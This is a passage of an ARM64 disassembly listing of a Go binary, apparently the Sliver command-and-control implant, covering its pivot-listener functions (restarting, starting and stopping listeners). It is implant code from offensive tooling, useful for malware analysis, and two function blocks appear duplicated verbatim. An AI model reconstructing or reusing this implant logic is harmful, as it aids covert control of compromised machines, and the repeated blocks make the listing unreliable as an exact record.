0042b430ldr x3, [sp+224]
0042b434ldr x3, [x3]
0042b438str x3, [sp+272]
0042b43cstr x3, [sp+112]
0042b440ldrb w3, [sp+59]
0042b444strb w3, [sp+58]
0042b448ldr x3, [sp+112]
0042b44cstr x3, [sp+104]
0042b450ldrb w3, [sp+58]
0042b454strb w3, [sp+57]
0042b458tbnz w3, 0, 0x42b460
0042b45cb 0x42b630
0042b460
0042b460loc_42b460:
0042b460str xzr, [sp+264]
0042b464stp xzr, xzr, [sp+248]
0042b468ldr x6, [sp+64]
0042b46cldrsb x27, [x6]
0042b470ldr x7, [x6+32]
0042b474ldr x6, [x6+40]
0042b478str x7, [sp+208]
0042b47cstr x6, [sp+216]
0042b480ldr x6, [sp+64]
0042b484ldrsb x27, [x6]
0042b488ldr x3, [x6+56]
0042b48cldr x4, [x6+64]
0042b490ldr x5, [x6+72]
0042b494str x3, [sp+184]
0042b498str x4, [sp+192]
0042b49cstr x5, [sp+200]
0042b4a0ldr x26, [sp+104]
0042b4a4ldr x6, [x26]
0042b4a8ldr x2, [sp+72]
0042b4acldr x0, [sp+208]
0042b4b0ldr x1, [sp+216]
0042b4b4blr x6
0042b4b8str x0, [sp+264]
0042b4bcstr x1, [sp+248]
0042b4c0str x2, [sp+256]
0042b4c4ldr x6, [sp+264]
0042b4c8str x6, [sp+304]
0042b4ccldr x6, [sp+248]
0042b4d0ldr x7, [sp+256]
0042b4d4str x6, [sp+288]
0042b4d8str x7, [sp+296]
0042b4dcldr x6, [sp+304]
0042b4e0str x6, [sp+80]
0042b4e4ldr x6, [sp+296]
0042b4e8ldr x7, [sp+288]
0042b4ecstr x7, [sp+88]
0042b4f0str x6, [sp+96]
0042b4f4cbnz x7, 0x42b4fc
0042b4f8b 0x42b5c0
0042b4fc
0042b4fcloc_42b4fc:
0042b4fcstp xzr, xzr, [sp+232]
0042b500add x5, sp, 232
0042b504str x5, [sp+152]
0042b508ldr x5, [sp+88]
0042b50cldr x6, [sp+96]
0042b510str x5, [sp+136]
0042b514str x6, [sp+144]
0042b518str x5, [sp+128]
0042b51cldr x5, [sp+128]
0042b520cbnz x5, 0x42b528
0042b524b 0x42b538
0042b528
0042b528loc_42b528:
0042b528ldr x5, [sp+128]
0042b52cldr x5, [x5+8]
0042b530str x5, [sp+128]
0042b534b 0x42b53c
0042b538
0042b538loc_42b538:
0042b538b 0x42b53c
0042b53c
0042b53cloc_42b53c:
0042b53cldr x5, [sp+152]
0042b540ldrsb x27, [x5]
0042b544ldr x6, [sp+128]
0042b548ldr x7, [sp+144]
0042b54cstr x6, [x5]
0042b550adrp x27, 0x620000
0042b554ldr w6, [x27+3056]
0042b558cbz w6, 0x42b560
0042b55cb 0x42b564
0042b560
0042b560loc_42b560:
0042b560b 0x42b578
0042b564
0042b564loc_42b564:
0042b564bl runtime.gcWriteBarrier2
0042b568str x7, [x25]
0042b56cldr x6, [x5+8]
0042b570str x6, [x25+8]
0042b574b 0x42b578
0042b578
0042b578loc_42b578:
0042b578str x7, [x5+8]
0042b57cldr x2, [sp+152]
0042b580ldrsb x27, [x2]
0042b584b 0x42b588
0042b588
0042b588loc_42b588:
0042b588str x2, [sp+160]
0042b58corr x4, xzr, 1
0042b590str x4, [sp+168]
0042b594str x4, [sp+176]
0042b598adrp x0, 0x297000
0042b59cadd x0, x0, 2848
0042b5a0movz x1, 38
0042b5a4mov x3, x4
0042b5a8bl log.Printf
0042b5acstrb wzr, [sp+56]
0042b5b0mov x0, xzr
0042b5b4ldp x29, x30, [sp-8]
0042b5b8add sp, sp, 320
0042b5bcret x30
0042b5c0
0042b5c0loc_42b5c0:
0042b5c0ldr x1, [sp+80]
0042b5c4str x1, [sp+280]
0042b5c8adrp x0, 0x206000
0042b5ccadd x0, x0, 3648
0042b5d0bl runtime.newobject
0042b5d4str x0, [sp+120]
0042b5d8adrp x1, 0
0042b5dcadd x1, x1, 1664
0042b5e0str x1, [x0]
0042b5e4ldr x1, [sp+280]
0042b5e8ldr x2, [sp+120]
0042b5ecldrsb x27, [x2]
0042b5f0adrp x27, 0x620000
0042b5f4ldr w3, [x27+3056]
0042b5f8cbz w3, 0x42b600
0042b5fcb 0x42b604
0042b600
0042b600loc_42b600:
0042b600b 0x42b618
0042b604
0042b604loc_42b604:
0042b604bl runtime.gcWriteBarrier2
0042b608str x1, [x25]
0042b60cldr x3, [x2+8]
0042b610str x3, [x25+8]
0042b614b 0x42b618
0042b618
0042b618loc_42b618:
0042b618str x1, [x2+8]
0042b61cldr x0, [sp+120]
0042b620bl runtime.newproc
0042b624ldr x0, [sp+80]
0042b628bl github.com/bishopfox/sliver/implant/sliver/pivots.AddListener
0042b62cb 0x42b634
0042b630
0042b630loc_42b630:
0042b630b 0x42b634
0042b634
0042b634loc_42b634:
0042b634orr x0, xzr, 1
0042b638strb w0, [sp+56]
0042b63cldp x29, x30, [sp-8]
0042b640add sp, sp, 320
0042b644ret x30
0042b648
0042b648loc_42b648:
0042b648adrp x2, 0x1df000
0042b64cadd x2, x2, 3520
0042b650bl runtime.panicdottypeE
0042b654hint
0042b658
0042b658loc_42b658:
0042b658stp x0, x1, [sp+8]
0042b65cstp x2, x3, [sp+24]
0042b660mov x3, x30
0042b664bl runtime.morestack.abi0
0042b668ldp x0, x1, [sp+8]
0042b66cldp x2, x3, [sp+24]
0042b670b 0x42b3a0
0042b674udf 0
0042b678udf 0
0042b67cudf 0
0042b3a0
0042b680
0042b680github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1.gowrap1(void)
0042b680ldr x16, [x28+16]
0042b684subs xzr, sp, x16
0042b688b.ls 0x42b6b8
0042b68cstr x30, [sp-32]!
0042b690stur x29, [sp-8]
0042b694sub x29, sp, 8
0042b698ldr x16, [x28+32]
0042b69ccbnz x16, 0x42b6c4
0042b6a0
0042b6a0loc_42b6a0:
0042b6a0ldr x0, [x26+8]
0042b6a4str x0, [sp+16]
0042b6a8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start
0042b6acldur x29, [sp-8]
0042b6b0ldr x30, [sp], 32
0042b6b4ret x30
0042b6b8
0042b6b8loc_42b6b8:
0042b6b8mov x3, x30
0042b6bcbl runtime.morestack.abi0
0042b6c0b 0x42b680
0042b6c4
0042b6c4loc_42b6c4:
0042b6c4ldr x17, [x16]
0042b6c8add x20, sp, 40
0042b6ccsubs xzr, x20, x17
0042b6d0b.ne 0x42b6a0
0042b6d4add x20, sp, 8
0042b6d8str x20, [x16]
0042b6dcb 0x42b6a0
0042b680
0042b680github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1.gowrap1(void)
0042b680ldr x16, [x28+16]
0042b684subs xzr, sp, x16
0042b688b.ls 0x42b6b8
0042b68cstr x30, [sp-32]!
0042b690stur x29, [sp-8]
0042b694sub x29, sp, 8
0042b698ldr x16, [x28+32]
0042b69ccbnz x16, 0x42b6c4
0042b6a0
0042b6a0loc_42b6a0:
0042b6a0ldr x0, [x26+8]
0042b6a4str x0, [sp+16]
0042b6a8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Start
0042b6acldur x29, [sp-8]
0042b6b0ldr x30, [sp], 32
0042b6b4ret x30
0042b6b8
0042b6b8loc_42b6b8:
0042b6b8mov x3, x30
0042b6bcbl runtime.morestack.abi0
0042b6c0b 0x42b680
0042b6c4
0042b6c4loc_42b6c4:
0042b6c4ldr x17, [x16]
0042b6c8add x20, sp, 40
0042b6ccsubs xzr, x20, x17
0042b6d0b.ne 0x42b6a0
0042b6d4add x20, sp, 8
0042b6d8str x20, [x16]
0042b6dcb 0x42b6a0
0042b680
0042b6e0
0042b6e0github.com/bishopfox/sliver/implant/sliver/pivots.StopAllListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.StopAllListeners(void)
0042b6e0ldr x16, [x28+16]
0042b6e4subs xzr, sp, x16
0042b6e8b.ls 0x42b7d8
0042b6ecstr x30, [sp-64]!
0042b6f0stur x29, [sp-8]
0042b6f4sub x29, sp, 8
0042b6f8adrp x27, 0x5e2000
0042b6fcldr x0, [x27+16]
0042b700adrp x1, 0x2ad000
0042b704add x1, x1, 3160
0042b708bl sync.(*Map).Range
0042b70cadrp x27, 0x5e2000
0042b710ldr x2, [x27+16]
0042b714adrp x27, 0x620000
0042b718ldr w3, [x27+3056]
0042b71ccbz w3, 0x42b724
0042b720b 0x42b728
0042b724
0042b724loc_42b724:
0042b724b 0x42b740
0042b728
0042b728loc_42b728:
0042b728bl runtime.gcWriteBarrier2
0042b72cstr x2, [x25]
0042b730adrp x27, 0x5e2000
0042b734ldr x1, [x27+24]
0042b738str x1, [x25+8]
0042b73cb 0x42b740
0042b740
0042b740loc_42b740:
0042b740adrp x27, 0x5e2000
0042b744str x2, [x27+24]
0042b748adrp x0, 0x215000
0042b74cadd x0, x0, 2144
0042b750bl runtime.newobject
0042b754str x0, [sp+48]
0042b758adrp x27, 0x620000
0042b75cldr w1, [x27+3056]
0042b760cbz w1, 0x42b768
0042b764b 0x42b76c
0042b768
0042b768loc_42b768:
0042b768b 0x42b788
0042b76c
0042b76cloc_42b76c:
0042b76cstr x0, [sp+40]
0042b770mov x1, x0
0042b774adrp x0, 0x215000
0042b778add x0, x0, 2144
0042b77cbl runtime.wbZero
0042b780ldr x0, [sp+40]
0042b784b 0x42b788
0042b788
0042b788loc_42b788:
0042b788stp xzr, xzr, [x0]
0042b78cstp xzr, xzr, [x0+16]
0042b790stp xzr, xzr, [x0+32]
0042b794ldr x0, [sp+48]
0042b798adrp x27, 0x620000
0042b79cldr w1, [x27+3056]
0042b7a0cbz w1, 0x42b7a8
0042b7a4b 0x42b7ac
0042b7a8
0042b7a8loc_42b7a8:
0042b7a8b 0x42b7c4
0042b7ac
0042b7acloc_42b7ac:
0042b7acbl runtime.gcWriteBarrier2
0042b7b0str x0, [x25]
0042b7b4adrp x27, 0x5e2000
0042b7b8ldr x1, [x27+16]
0042b7bcstr x1, [x25+8]
0042b7c0b 0x42b7c4
0042b7c4
0042b7c4loc_42b7c4:
0042b7c4adrp x27, 0x5e2000
0042b7c8str x0, [x27+16]
0042b7ccldur x29, [sp-8]
0042b7d0ldr x30, [sp], 64
0042b7d4ret x30
0042b7d8
0042b7d8loc_42b7d8:
0042b7d8mov x3, x30
0042b7dcbl runtime.morestack_noctxt.abi0
0042b7e0b 0x42b6e0
0042b7e4udf 0
0042b7e8udf 0
0042b7ecudf 0
0042b6e0
0042b6e0github.com/bishopfox/sliver/implant/sliver/pivots.StopAllListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.StopAllListeners(void)
0042b6e0ldr x16, [x28+16]
0042b6e4subs xzr, sp, x16
0042b6e8b.ls 0x42b7d8
0042b6ecstr x30, [sp-64]!
0042b6f0stur x29, [sp-8]
0042b6f4sub x29, sp, 8
0042b6f8adrp x27, 0x5e2000
0042b6fcldr x0, [x27+16]
0042b700adrp x1, 0x2ad000
0042b704add x1, x1, 3160
0042b708bl sync.(*Map).Range
0042b70cadrp x27, 0x5e2000
0042b710ldr x2, [x27+16]
0042b714adrp x27, 0x620000
0042b718ldr w3, [x27+3056]
0042b71ccbz w3, 0x42b724
0042b720b 0x42b728
0042b724
0042b724loc_42b724:
0042b724b 0x42b740
0042b728
0042b728loc_42b728:
0042b728bl runtime.gcWriteBarrier2
0042b72cstr x2, [x25]
0042b730adrp x27, 0x5e2000
0042b734ldr x1, [x27+24]
0042b738str x1, [x25+8]
0042b73cb 0x42b740
0042b740
0042b740loc_42b740:
0042b740adrp x27, 0x5e2000
0042b744str x2, [x27+24]
0042b748adrp x0, 0x215000
0042b74cadd x0, x0, 2144
0042b750bl runtime.newobject
0042b754str x0, [sp+48]
0042b758adrp x27, 0x620000
0042b75cldr w1, [x27+3056]
0042b760cbz w1, 0x42b768
0042b764b 0x42b76c
0042b768
0042b768loc_42b768:
0042b768b 0x42b788
0042b76c
0042b76cloc_42b76c:
0042b76cstr x0, [sp+40]
0042b770mov x1, x0
0042b774adrp x0, 0x215000
0042b778add x0, x0, 2144
0042b77cbl runtime.wbZero
0042b780ldr x0, [sp+40]
0042b784b 0x42b788
0042b788
0042b788loc_42b788:
0042b788stp xzr, xzr, [x0]
0042b78cstp xzr, xzr, [x0+16]
0042b790stp xzr, xzr, [x0+32]
0042b794ldr x0, [sp+48]
0042b798adrp x27, 0x620000
0042b79cldr w1, [x27+3056]
0042b7a0cbz w1, 0x42b7a8
0042b7a4b 0x42b7ac
0042b7a8
0042b7a8loc_42b7a8:
0042b7a8b 0x42b7c4
0042b7ac
0042b7acloc_42b7ac:
0042b7acbl runtime.gcWriteBarrier2
0042b7b0str x0, [x25]
0042b7b4adrp x27, 0x5e2000
0042b7b8ldr x1, [x27+16]
0042b7bcstr x1, [x25+8]
0042b7c0b 0x42b7c4
0042b7c4
0042b7c4loc_42b7c4:
0042b7c4adrp x27, 0x5e2000
0042b7c8str x0, [x27+16]
0042b7ccldur x29, [sp-8]
0042b7d0ldr x30, [sp], 64
0042b7d4ret x30
0042b7d8
0042b7d8loc_42b7d8:
0042b7d8mov x3, x30
0042b7dcbl runtime.morestack_noctxt.abi0
0042b7e0b 0x42b6e0
0042b7e4udf 0
0042b7e8udf 0
0042b7ecudf 0
0042b6e0
Loading..